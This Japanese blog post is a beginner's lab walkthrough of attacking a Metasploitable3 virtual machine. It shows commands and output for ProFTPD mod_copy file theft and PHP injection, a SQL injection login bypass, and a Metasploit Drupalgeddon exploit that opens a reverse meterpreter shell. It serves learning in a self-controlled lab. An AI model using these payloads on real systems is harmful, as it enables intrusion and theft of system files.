---
title: "ハッキングラボを手に入れたのでMetasploitable3の攻略に挑んでみた | grasys blog"
url: "https://blog.grasys.io/post/oshima/20230602/"
description: "初めまして、大島です。 業務と全然関係のない内容で恐縮ですが、趣味で個人的にやっているセキュリティ系のお遊びです。 私自身、最近ハッキングラボを手にした初心者なので初心者向けの内容です。 最初に注意事項です。 この記事で紹介しているMetasploitを使用した攻撃、コマンドやスクリプトなどによる攻撃は必ず自分の管理…"
---

# ハッキングラボを手に入れたのでMetasploitable3の攻略に挑んでみた

-   ![](/_astro/noicon.CTHOhNiB_1HMs6A.webp)[Oshima](/authors/oshima/)
-   公開日：2023年6月2日
-   カテゴリー：[Tech](/categories/tech/)
-   タグ：[#セキュリティ](/tags/セキュリティ/)

![ハッキングラボを手に入れたのでMetasploitable3の攻略に挑んでみた](/_astro/hero.D5Ls174O_21vW76.webp)

初めまして、大島です。

業務と全然関係のない内容で恐縮ですが、趣味で個人的にやっているセキュリティ系のお遊びです。  
私自身、最近ハッキングラボを手にした初心者なので初心者向けの内容です。

最初に注意事項です。  
この記事で紹介しているMetasploitを使用した攻撃、コマンドやスクリプトなどによる攻撃は必ず自分の管理下にあるサーバーに対して行ってください。

[IPUSIRON](https://twitter.com/ipusiron?s=20)氏の著書「[ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON-ebook/dp/B07JJKLZNW)」を参考にVirtualboxでハッキングラボを作成しました。

実は本はまだ途中で、Kali LinuxとMetasploitable2を使って少しハッキング体験をした後、自分で四苦八苦してやりたかったのでMetasploitable3に手を出しました。

詰まったら本に戻ってほうほう言っています。

記事の中では次のことをやっています。

-   /etc/passwdを閲覧する
    
-   SQLインジェクションで不正ログインする
    
-   強制ブラウズでファイルを閲覧する
    
-   MetasploitのExploitを使ってmeterpreferで接続する
    

本当はSSHで接続したかったですが難しかったです。

今回のこの内容で終わらずこれからも顔を歪ませながらトライしたいと思います。

Hack The Boxもいずれ手を出したいですね！！

## 構成

バージョン  
Kali Linux : 2023.1(kali-rolling)  
Metasploitable3 : ubuntu1404

![Kali LinuxからMetasploitable3のUbuntu 14.04環境を検証する構成図](/_astro/01-oshima_20230602_chart-9acc480e.BkYK3uRO_Z1SVRW2.webp)

## 記事で出てくるツールの紹介

**Kali Linux**

> Kali Linux（カーリー リナックス、カリ リナックス）はデジタル・フォレンジックやペネトレーションテスト用に設計された、Debian派生のLinuxディストリビューションである
> 
> [https://ja.wikipedia.org/wiki/Kali\_Linux](https://ja.wikipedia.org/wiki/Kali_Linux)

**Metasploitable**

Metasploitというペネトレーションテスト用のフレームワークを気軽に試せる、やられサーバーです。  
Metasploitは必ず自前サーバーに対して行ってください。  
[https://github.com/rapid7/metasploitable3](https://github.com/rapid7/metasploitable3)

**Meterprefer**

> Meterpreter は、2004 年から Metasploit の一部となっている高度なペイロードです。
> 
> [https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html](https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html)

バックドアを仕掛けられます。

**Drupal**

> Drupal（ \[ˈdruːpəl\]）は、プログラミング言語PHPで記述されたフリーでオープンソースのモジュラー式フレームワークであり、コンテンツ管理システム (CMS) である。
> 
> [https://ja.wikipedia.org/wiki/Drupal](https://ja.wikipedia.org/wiki/Drupal)

有名なCMSにはWordpressがありますね。

**Continuum**

> Apache Continuum™ は、自動ビルド、リリース管理、ロールベースのセキュリティ、一般的なビルド ツールやソース管理管理システムとの統合などの機能を備えたエンタープライズ対応の継続的統合サーバーです。
> 
> [https://continuum.apache.org/](https://continuum.apache.org/)

2014年を最後に更新されていませんね。  
ウィキペディアには廃止されたとあります。

**phpMyAdmin**

> phpMyAdmin はPHP で書かれたフリー ソフトウェア ツールで、 Web 上でMySQLの管理を処理することを目的としています。phpMyAdmin は、MySQL および MariaDB 上の幅広い操作をサポートします。
> 
> [https://www.phpmyadmin.net/](https://www.phpmyadmin.net/)

MySQLのDBをGUIで操作する場合によく使われていますね。

## Metasploitable3の構築

Metasploitable3をVirtualboxを使って構築します。  
[こちら](https://sourceforge.net/projects/metasploitable3-ub1404upgraded/)のリンク先からイメージをダウンロードして、「仮想アプライアンスのインポート」でインポートしました。

ログインユーザーとパスワードは`vagrant/vagrant`です。

### 設定を変更

ネットワークの設定を変更します。

NATとホストオンリーアダプターが設定されていますが、ネットワークに接続する予定がないので、ホストオンリーアダプターのみに変更しました。

次に、IPアドレスを固定化します。

`/etc/networking/interfaces`を以下のように編集します。

Plain textcontent\_copy

```
...(略)
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.56.20
netmask 255.255.255.0
gateway 192.168.56.1
...
```

編集したら再起動してkaliからpingが通るか確認します。

Plain textcontent\_copy

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.56.20 -c 3
PING 192.168.56.20 (192.168.56.20) 56(84) bytes of data.
64 bytes from 192.168.56.20: icmp_seq=1 ttl=64 time=0.679 ms
64 bytes from 192.168.56.20: icmp_seq=2 ttl=64 time=0.730 ms
64 bytes from 192.168.56.20: icmp_seq=3 ttl=64 time=0.739 ms

--- 192.168.56.20 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2038ms
rtt min/avg/max/mdev = 0.679/0.716/0.739/0.026 ms
```

大丈夫そうです。

## いざ攻略挑戦

まずはポートスキャンを実行します。

Plain textcontent\_copy

```
┌──(root㉿kali)-[~]
└─# nmap -sV -O -p- 192.168.56.20
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 17:01 JST
Nmap scan report for 192.168.56.20
Host is up (0.00067s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
6697/tcp open   irc         UnrealIRCd
8080/tcp open   http        Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:B0:C1:83 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.76 seconds
```

## /etc/passwdの中身を表示する

サービスの脆弱性を調べるとProFTP1.3.5に関して脆弱性が出てきました。

> ProFTPD 1.3.5 の mod\_copy モジュールを使用すると、リモート攻撃者が site cpfr および site cpto コマンドを介して任意のファイルを読み書きできるようになります。
> 
> [https://www.cvedetails.com/cve/CVE-2015-3306/](https://www.cvedetails.com/cve/CVE-2015-3306/)

正直、`site cpfr`コマンドと`site cpto` が関係あることしか分かりませんでした。  
コマンドも初めて見て使い方も知らないので使ってみます。  
ちなみに`cpfr`は`copy from`で`cpto`は`copy to`ですね。

Kali Linux

Plain textcontent\_copy

```
┌──(root㉿kali)-[~]
└─# nc 192.168.56.20 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.20]
SITE CPFR /proc/self/cmdline
350 File or directory exists, ready for destination name
SITE CPTO /tmp/cmdline
250 Copy successful
```

Metasploitable3

Plain textcontent\_copy

```
$ls -l /tmp/cmdline
-rw-r--r-- 1 nobody nogroup 52 May 24 11:33 cmdline
```

ターゲットサーバー内でファイルがコピーできるコマンドで、所有ユーザー/グループは`nobody:nogroup`になることが分かりました。

このコマンドを使うと、ウェブサーバーにて任意のファイルの中身が閲覧できることと、リモートでコマンドを実行することができるようです。

両方やってみます。

ポートスキャンの結果からMetasploitable3のサーバーではApacheが動いていることが分かります。  
このコマンドを使用して`/etc/passwd`をサイトディレクトリに配置するとブラウザでファイルの中身を閲覧することができます。

この後の手順はExploitDBのコードを参考にしました。  
[https://www.exploit-db.com/exploits/37262](https://www.exploit-db.com/exploits/37262)

Plain textcontent\_copy

```
┌──(root㉿kali)-[~]
└─# nc 192.168.56.20 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.20]
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/passwd.txt
250 Copy successful
```

![/etc/passwdの中身を表示する画面（1）](/_astro/02-oshima_20230602_passwd-1-1024x601-4ad1d821.D7QDvTNa_w0NEh.webp)

（ユーザーが分かったので簡単なパスワードリストを作成してhydraでsshを辞書攻撃してみましたがだめでした。人生そんなに甘くはありませんね。。。）

リモートでPHPのコードを実行するほうもやってみます。  
`phpinfo（）`を表示させています。

Plain textcontent\_copy

```
┌──(root㉿kali)-[~]
└─# nc 192.168.56.20 21          
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.20]
SITE CPFR /proc/self/cmdline
350 File or directory exists, ready for destination name
SITE CPTO /tmp/.<?php phpinfo(); ?>    
250 Copy successful
SITE CPFR /tmp/.<?php phpinfo(); ?>
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/test.php
250 Copy successful
```

![/etc/passwdの中身を表示する画面（2）](/_astro/03-oshima_20230602_phpinfo-1-1024x651-a30c6fc2.CQH9BQXG_Z2iHDzy.webp)

なぜこれでコードが実行できているのか最初分かりませんでしたが単純なことでした。

サイトディレクトリにコピーしたファイルの内容を見てみます。

Plain textcontent\_copy

```
$ cat /var/www/html/test.php 
proftpd: 192.168.56.10:37734: SITE CPTO /tmp/.<?php phpinfo(); ?>
```

一番きれいで理想の形は

Plain textcontent\_copy

```
<?php phpinfo(); ?>
```

なので余分な文字列

Plain textcontent\_copy

```
proftpd: 192.168.56.10:37734: SITE CPTO /tmp/.
```

も表示されてしまいますが、コードの実行には影響はないので気にはなりますが無視しましょう。

`/proc/[pid]/cmdline`にはプロセスを起動したときのコマンドと引数が入ります。

selfは自プロセスを指します。この時はproftpdですね。

実行コマンドにコードを含めることで、コードを含んだコマンドを永続的にファイルとして保存（/proc/self/cmdlineは一時的なものなので）、それをサイトディレクトリに配置することでリモートからコードを実行できるということでした。

## SQLインジェクションを試す

ポートスキャンの結果からポート`80`と`3500`と`8080`でウェブサービスが公開されていることが分かります。

それぞれSQLインジェクションを試しましたが、ログインできたのは`http://192.168.56.20/payroll_app.php`のみでした。

Plain textcontent\_copy

```
User: admin
Password: ' OR 'A' = 'A
```

![SQLインジェクションを試すの画面](/_astro/04-oshima_20230602_login-1024x651-45087c29.CPhaBPOF_29ulpQ.webp)

残念ながら大した内容はありませんでした。

## 強制ブラウズ

`http://192.168.56.20:80/drupal`ではDrupalが動いていました。

バージョンを知りたいです。  
バージョンを知る方法で検索したところ`drupal/CHANGELOG.txt`で知ることができるそうなので見てみましょう。

`http://192.168.56.20:80/drupal/CHANGELOG.txt`

![強制ブラウズの画面](/_astro/05-oshima_20230602_changelog-1024x651-5514cc9b.DUPR5KMg_14FFeK.webp)

バージョンは7.5でした。  
脆弱性で調べてもあまり出てきませんね。

このあと詰まりに詰まってmsfconsoleに手を出しました。  
学習も兼ねているのでフレームワークを使ってどーんというのをあえて避けていたんですが、なんとかアクセスしたくて我慢できませんでした。

便利なのだからフレームワークはじゃんじゃん使っていっていい派ですが、なんかできちゃったを避けたかったんですよね。

## リモートからサーバーにアクセス

Metasploitを起動します。

Plain textcontent\_copy

```
msfconsole
```

DrupalのExploitを検索します。

Plain textcontent\_copy

```
msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   - ---- --------------- ---- ----- -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution
```

2番の`multi/http/drupal_drupageddon`を使わせてもらいましょう。RankはExcellentです。（Excellent！！！）

Plain textcontent\_copy

```
use　multi/http/drupal_drupageddon
```

オプションを表示し、変更する変数を確認します。

Plain textcontent\_copy

```
msf6 exploit(multi/http/drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal_drupageddon):

   Name       Current Setting  Required  Description
   ---- --------------- -------- -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ---- --------------- -------- -----------
   LHOST  10.0.3.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   -- ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)

View the full module info with the info, or info -d command.
```

RHOST、TARGETURI、LHOSTを変更しました。

Plain textcontent\_copy

```
set RHOST 192.168.56.20
set TARGETURI /drupal/
set LHOST 192.168.56.10
```

Exploit!!!!!

Plain textcontent\_copy

```
msf6 exploit(multi/http/drupal_drupageddon) > run

[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Sending stage (39927 bytes) to 192.168.56.20
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.20:50744) at 2023-05-29 16:57:44 +0900

meterpreter >
```

meterpreferで入れていますね。

ヘルプは`?`で表示できます。  
`ps`でプロセスを表示させたらcontiniuumのバージョンが分かりました。

次回に役に立つかな？

Plain textcontent\_copy

```
apache-continuum-1.4.2
```

これで終わります。

記事は少し切りの良い、サーバー内部にアクセスするところまでで終わってしまいましたが、DBにもアクセスできていないので私の戦いはまだまだ続きそうです。

少しでも同じく苦しんでいる人の助けになれば幸いです。

私は「王様達のヴァイキング」という漫画が好きなので、是枝くんに倣って、ハッカーやハッキングではなく、クラッカーやクラッキングと呼ぶのが好きです。

## この記事を書いた人

[![](/_astro/noicon.CTHOhNiB_Z24aAgM.webp)](/authors/oshima/)

### [Oshima](/authors/oshima/)

Oshimaのプロフィールと執筆記事をご覧いただけます。

[プロフィールと記事一覧](/authors/oshima/)